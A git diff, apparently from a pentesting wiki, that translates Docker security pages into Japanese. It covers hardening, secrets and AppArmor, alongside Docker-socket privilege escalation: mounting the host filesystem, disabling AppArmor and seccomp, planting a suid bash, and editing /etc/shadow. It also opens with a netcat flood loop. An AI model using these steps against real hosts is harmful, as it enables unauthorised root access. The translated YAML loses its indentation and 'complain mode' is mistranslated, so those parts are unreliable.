-lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` +## 興味深いDockerフラグ -## Interesting Docker Flags +### --privilegedフラグ -### --privileged flag - -In the following page you can learn **what does the `--privileged` flag imply**: +次のページでは**`--privileged`フラグが何を意味するか**を学ぶことができます: {{#ref}} docker-privileged.md @@ -287,16 +247,13 @@ docker-privileged.md #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +攻撃者が低い権限のユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用し、**コンテナ内で権限を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。 +**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の権限昇格を**防ぐ**ことができます。 ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` - -#### Other - +#### その他 ```bash #You can manually add/drop capabilities with --cap-add @@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` - For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -## Other Security Considerations +## その他のセキュリティ考慮事項 -### Managing Secrets: Best Practices +### シークレットの管理: ベストプラクティス -It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`. +シークレットをDockerイメージに直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`のようなコマンドを通じてコンテナにアクセスできる誰にでも機密情報を露出させます。 -**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets. +**Dockerボリューム**は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect`やログに関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセスを持つ者は、依然としてシークレットにアクセスできる可能性があります。 -**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features. +**Dockerシークレット**は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスの場合、**BuildKit**はビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。 -To leverage BuildKit, it can be activated in three ways: +BuildKitを活用するには、以下の3つの方法で有効化できます: -1. Through an environment variable: `export DOCKER_BUILDKIT=1` -2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .` -3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart. - -BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like: +1. 環境変数を通じて: `export DOCKER_BUILDKIT=1` +2. コマンドにプレフィックスを付けて: `DOCKER_BUILDKIT=1 docker build .` +3. Docker設定でデフォルトで有効にする: `{ "features": { "buildkit": true } }`、その後Dockerを再起動します。 +BuildKitは、`--secret`オプションを使用してビルド時のシークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` - -For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example: - +実行中のコンテナに必要な秘密のために、**Docker Compose と Kubernetes** は堅牢なソリューションを提供します。Docker Compose は、`docker-compose.yml` の例に示すように、秘密ファイルを指定するためにサービス定義内の `secrets` キーを利用します: ```yaml version: "3.7" services: - my_service: - image: centos:7 - entrypoint: "cat /run/secrets/my_secret" - secrets: - - my_secret +my_service: +image: centos:7 +entrypoint: "cat /run/secrets/my_secret" secrets: - my_secret: - file: ./my_secret_file.txt +- my_secret +secrets: +my_secret: +file: ./my_secret_file.txt ``` +この設定により、Docker Composeを使用してサービスを起動する際にシークレットを使用することができます。 -This configuration allows for the use of secrets when starting services with Docker Compose. - -In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise. +Kubernetes環境では、シークレットがネイティブにサポートされており、[Helm-Secrets](https://github.com/futuresimple/helm-secrets)のようなツールでさらに管理できます。Kubernetesのロールベースアクセス制御(RBAC)は、Docker Enterpriseと同様にシークレット管理のセキュリティを強化します。 ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムの表面の大部分を実装しています。アプリケーションとホストカーネルの間に**隔離境界**を提供する`runsc`という[Open Container Initiative (OCI)](https://www.opencontainers.org)ランタイムを含んでいます。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。 {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers**は、軽量の仮想マシンを使用して安全なコンテナランタイムを構築するために活動しているオープンソースコミュニティです。これにより、コンテナのように感じられ、動作しますが、**ハードウェア仮想化**技術を使用して、より強力なワークロードの隔離を提供します。 {% embed url="https://katacontainers.io/" %} -### Summary Tips +### まとめのヒント -- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -- **Regularly** **rebuild** your images to **apply security patches to the host an images.** -- Manage your **secrets wisely** so it's difficult to the attacker to access them. -- If you **exposes the docker daemon use HTTPS** with client & server authentication. -- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -- Have **separate containers for each micro-s**ervice -- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. -- Have **smaller** container **images** +- **`--privileged`フラグを使用したり、** [**Dockerソケットをコンテナ内にマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Dockerソケットはコンテナを生成することを可能にするため、`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御する簡単な方法です。 +- **コンテナ内でrootとして実行しないでください。** [**異なるユーザーを使用し**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **、** [**ユーザー名前空間を使用してください**](https://docs.docker.com/engine/security/userns-remap/)**。** コンテナ内のrootは、ユーザー名前空間で再マップされない限り、ホストのrootと同じです。主にLinuxの名前空間、機能、cgroupsによって軽く制限されています。 +- [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要なものだけを有効にしてください** (`--cap-add=...`)。多くのワークロードは機能を必要とせず、追加すると潜在的な攻撃の範囲が広がります。 +- [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、プロセスがより多くの特権を取得するのを防ぎます。例えば、suidバイナリを通じて。 +- [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** リソース制限は、サービス拒否攻撃からマシンを保護できます。 +- **seccomp** [**、AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(またはSELinux)プロファイルを調整して、コンテナに必要な最小限のアクションとシステムコールを制限します。** +- **公式のdockerイメージを使用し** [**、署名を要求**](https://docs.docker.com/docker-hub/official_images/) **するか、それに基づいて自分のものを構築してください。** バックドア付きの[**イメージを継承したり使用しないでください**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)。また、ルートキーやパスフレーズを安全な場所に保管してください。DockerはUCPでキーを管理する計画を持っています。 +- **定期的に** **イメージを再構築して、ホストとイメージにセキュリティパッチを適用します。** +- **シークレットを賢く管理**して、攻撃者がアクセスしにくくします。 +- Dockerデーモンを**公開する場合は、クライアントとサーバーの認証を使用してHTTPSを使用してください。** +- Dockerfileでは、**ADDの代わりにCOPYを優先してください。** ADDは自動的に圧縮ファイルを抽出し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDの使用を避け、リモートURLやZipファイルを通じた攻撃に対して脆弱にならないようにしてください。 +- **各マイクロサービスに対して別々のコンテナを持つ** +- **コンテナ内にsshを置かないでください。** “docker exec”を使用してコンテナにsshできます。 +- **より小さな**コンテナ**イメージを持つ** -## Docker Breakout / Privilege Escalation +## Dockerブレイクアウト / 特権昇格 -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +もしあなたが**dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセスできる場合**、**脱出して特権を昇格させる**ことを試みることができます: {{#ref}} docker-breakout-privilege-escalation/ {{#endref}} -## Docker Authentication Plugin Bypass +## Docker認証プラグインバイパス -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +もしあなたがdockerソケットにアクセスできるか、**dockerグループのユーザーにアクセスできるが、あなたの行動がdocker認証プラグインによって制限されている場合**、**バイパスできるか確認してください:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## Hardening Docker +## Dockerのハードニング -- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +- ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\ +このツールは、dockerを実行しているホストまたは十分な特権を持つコンテナから実行する必要があります。**READMEでの実行方法を確認してください:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 -## References +## 参考文献 - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) @@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a23a6b769..a14b2aea2 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,43 +1,43 @@ -# Abusing Docker Socket for Privilege Escalation +# Dockerソケットを悪用して特権昇格を行う {{#include ../../../banners/hacktricks-training.md}} -There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +Dockerソケットに**アクセス**できる場合があり、それを使用して**特権を昇格**させたいことがあります。いくつかのアクションは非常に疑わしい場合があり、それを避けたいかもしれません。ここでは、特権を昇格させるのに役立つさまざまなフラグを見つけることができます。 -### Via mount +### マウントを介して -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +ルートとして実行されているコンテナ内で**ファイルシステム**の異なる部分を**マウント**し、それに**アクセス**できます。\ +コンテナ内で特権を昇格させるために**マウントを悪用する**こともできます。 -- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - - If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - - `--privileged` - - `--cap-add=ALL` - - `--security-opt apparmor=unconfined` - - `--security-opt seccomp=unconfined` - - `-security-opt label:disable` - - `--pid=host` - - `--userns=host` - - `--uts=host` - - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - - Run `fdisk -l` in the host to find the `` device to mount -- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +- **`-v /:/host`** -> ホストのファイルシステムをコンテナにマウントし、**ホストのファイルシステムを読み取る**ことができます。 +- **ホストにいるように感じたい**がコンテナにいる場合、次のようなフラグを使用して他の防御メカニズムを無効にすることができます: +- `--privileged` +- `--cap-add=ALL` +- `--security-opt apparmor=unconfined` +- `--security-opt seccomp=unconfined` +- `-security-opt label:disable` +- `--pid=host` +- `--userns=host` +- `--uts=host` +- `--cgroupns=host` +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> これは前の方法に似ていますが、ここでは**デバイスディスクをマウント**しています。その後、コンテナ内で `mount /dev/sda1 /mnt` を実行すると、**/mnt**で**ホストのファイルシステムにアクセス**できます。 +- ホストで `fdisk -l` を実行して、マウントする `` デバイスを見つけます。 +- **`-v /tmp:/host`** -> 何らかの理由で**ホストから特定のディレクトリのみをマウント**でき、ホスト内にアクセスできる場合、それをマウントし、マウントされたディレクトリに**suid**を持つ**`/bin/bash`**を作成して、**ホストから実行してルートに昇格**できます。 > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> `/tmp`フォルダをマウントできないかもしれませんが、**異なる書き込み可能なフォルダ**をマウントできることに注意してください。書き込み可能なディレクトリを見つけるには、`find / -writable -type d 2>/dev/null`を使用します。 > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Linuxマシンのすべてのディレクトリがsuidビットをサポートするわけではありません!** どのディレクトリがsuidビットをサポートしているかを確認するには、`mount | grep -v "nosuid"`を実行します。たとえば、通常、`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および`/var/lib/lxcfs`はsuidビットをサポートしていません。 > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> また、**`/etc`**や**設定ファイルを含む他のフォルダ**を**マウント**できる場合、コンテナ内からルートとしてそれらを変更し、**ホストで悪用して特権を昇格**させることができます(たとえば、`/etc/shadow`を変更するなど)。 -### Escaping from the container +### コンテナからの脱出 -- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +- **`--privileged`** -> このフラグを使用すると、[コンテナからのすべての隔離を削除します](docker-privileged.md#what-affects)。特権コンテナから[ルートとして脱出する技術](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)を確認してください。 +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [特権を昇格させるために能力を悪用する](../linux-capabilities.md)、**その能力をコンテナに付与し、エクスプロイトが機能するのを妨げる可能性のある他の保護方法を無効にします。** ### Curl -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +このページでは、Dockerフラグを使用して特権を昇格させる方法について説明しました。**curl**コマンドを使用してこれらの方法を悪用する方法をページで見つけることができます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 0455067e0..3edda24a3 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -2,31 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions. +AppArmorは、**プログラムごとのプロファイルを通じてプログラムに利用可能なリソースを制限するために設計されたカーネル拡張**であり、ユーザーではなくプログラムに直接アクセス制御属性を結びつけることによって、必須アクセス制御(MAC)を効果的に実装します。このシステムは、**プロファイルをカーネルにロードすることによって動作**し、通常はブート時に行われ、これらのプロファイルはプログラムがアクセスできるリソース(ネットワーク接続、生ソケットアクセス、ファイル権限など)を決定します。 -There are two operational modes for AppArmor profiles: +AppArmorプロファイルには2つの運用モードがあります: -- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd. -- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions. +- **強制モード**:このモードは、プロファイル内で定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを通じて違反の試みをログに記録します。 +- **コンプライアンスモード**:強制モードとは異なり、コンプライアンスモードはプロファイルのポリシーに反するアクションをブロックしません。代わりに、制限を強制することなく、これらの試みをポリシー違反としてログに記録します。 -### Components of AppArmor +### AppArmorのコンポーネント -- **Kernel Module**: Responsible for the enforcement of policies. -- **Policies**: Specify the rules and restrictions for program behavior and resource access. -- **Parser**: Loads policies into the kernel for enforcement or reporting. -- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor. +- **カーネルモジュール**:ポリシーの強制を担当します。 +- **ポリシー**:プログラムの動作とリソースアクセスのルールと制限を指定します。 +- **パーサー**:ポリシーをカーネルにロードして強制または報告します。 +- **ユーティリティ**:AppArmorとのインターフェースを提供し、管理するためのユーザーモードプログラムです。 -### Profiles path +### プロファイルのパス -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +AppArmorプロファイルは通常、_**/etc/apparmor.d/**_に保存されます。\ +`sudo aa-status`を使用すると、いくつかのプロファイルによって制限されているバイナリのリストを表示できます。リストされた各バイナリのパスの「/」をドットに変更すると、指定されたフォルダー内のAppArmorプロファイルの名前が得られます。 -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -### Commands +例えば、_**/usr/bin/man**_のための**AppArmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。 +### コマンド ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -36,47 +35,41 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +## プロファイルの作成 -## Creating a profile - -- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -- To indicate the access the binary will have over **files** the following **access controls** can be used: - - **r** (read) - - **w** (write) - - **m** (memory map as executable) - - **k** (file locking) - - **l** (creation hard links) - - **ix** (to execute another program with the new program inheriting policy) - - **Px** (execute under another profile, after cleaning the environment) - - **Cx** (execute under a child profile, after cleaning the environment) - - **Ux** (execute unconfined, after cleaning the environment) -- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -- **Deny rules are supported to override allow rules**. +- 影響を受ける実行可能ファイルを示すために、**絶対パスとワイルドカード**がファイルを指定するために許可されています。 +- バイナリが**ファイル**に対して持つアクセスを示すために、以下の**アクセス制御**を使用できます: +- **r** (読み取り) +- **w** (書き込み) +- **m** (実行可能なメモリマップ) +- **k** (ファイルロック) +- **l** (ハードリンクの作成) +- **ix** (新しいプログラムがポリシーを継承して別のプログラムを実行するため) +- **Px** (環境をクリーンアップした後、別のプロファイルの下で実行) +- **Cx** (環境をクリーンアップした後、子プロファイルの下で実行) +- **Ux** (環境をクリーンアップした後、制限なしで実行) +- **変数**はプロファイル内で定義でき、プロファイルの外部から操作できます。例えば: @{PROC} と @{HOME} (プロファイルファイルに #include \ を追加) +- **許可ルールを上書きするための拒否ルールがサポートされています**。 ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +プロファイルの作成を簡単に始めるために、apparmorが役立ちます。**apparmorがバイナリによって実行されるアクションを検査し、許可または拒否したいアクションを決定できるようにすることが可能です**。\ +実行する必要があるのは次のコマンドです: ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +次に、別のコンソールでバイナリが通常実行するすべてのアクションを実行します: ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +次に、最初のコンソールで "**s**" を押し、記録されたアクションで無視、許可、またはその他を選択します。終了したら "**f**" を押すと、新しいプロファイルが _/etc/apparmor.d/path.to.binary_ に作成されます。 > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever +> 矢印キーを使用して、許可/拒否/その他を選択できます。 ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +バイナリの apparmor プロファイルのテンプレートを作成することもできます: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary # No template variables specified "/path/to/binary" { - #include +#include - # No abstractions specified +# No abstractions specified - # No policy groups specified +# No policy groups specified - # No read paths specified +# No read paths specified - # No write paths specified +# No write paths specified } ``` - > [!NOTE] -> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. - -You can then **enforce** the new profile with +> デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。例えば、バイナリが`/etc/passwd`を読み取ることを許可するには、`/etc/passwd r,`のような行を追加する必要があります。 +その後、**enforce**新しいプロファイルを使用できます。 ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### ログからのプロファイルの変更 -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのいくつかを許可するかどうかを尋ねます: ```bash sudo aa-logprof ``` - > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever - -### Managing a Profile +> 矢印キーを使用して、許可/拒否/その他の選択を行うことができます +### プロファイルの管理 ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` - -## Logs +## ログ Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +この情報は次の方法でも取得できます: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` - ## Apparmor in Docker -Note how the profile **docker-profile** of docker is loaded by default: - +dockerのプロファイル**docker-profile**がデフォルトで読み込まれることに注意してください: ```bash sudo aa-status apparmor module is loaded. 50 profiles are loaded. 13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/chromium-browser/chromium-browser//browser_java - /usr/lib/chromium-browser/chromium-browser//browser_openjdk - /usr/lib/chromium-browser/chromium-browser//sanitized_helper - /usr/lib/connman/scripts/dhclient-script - docker-default +/sbin/dhclient +/usr/bin/lxc-start +/usr/lib/NetworkManager/nm-dhcp-client.action +/usr/lib/NetworkManager/nm-dhcp-helper +/usr/lib/chromium-browser/chromium-browser//browser_java +/usr/lib/chromium-browser/chromium-browser//browser_openjdk +/usr/lib/chromium-browser/chromium-browser//sanitized_helper +/usr/lib/connman/scripts/dhclient-script +docker-default ``` +デフォルトでは、**Apparmor docker-default プロファイル**は [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) から生成されます。 -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +**docker-default プロファイルの概要**: -**docker-default profile Summary**: - -- **Access** to all **networking** -- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -- **Writing** to any **/proc** file is **not allowed** -- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -- **Mount** is **not allowed** -- **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +- **すべてのネットワーキング**への**アクセス** +- **能力**は定義されていません(ただし、いくつかの能力は基本的なベースルールを含むことから来ます。つまり、#include \) +- **/proc**ファイルへの**書き込み**は**許可されていません** +- **/proc**および**/sys**の他の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否**されます +- **マウント**は**許可されていません** +- **Ptrace**は**同じ apparmor プロファイル**によって制限されたプロセスでのみ実行できます +**docker コンテナを実行すると**、次の出力が表示されるはずです: ```bash 1 processes are in enforce mode. - docker-default (825) +docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +注意してください。**apparmorはデフォルトでコンテナに付与された能力の特権をブロックします**。例えば、デフォルトのdocker apparmorプロファイルがこのアクセスを拒否するため、**SYS_ADMIN能力が付与されていても/proc内に書き込む権限をブロックすることができます**。 ```bash docker run -it --cap-add SYS_ADMIN --security-opt 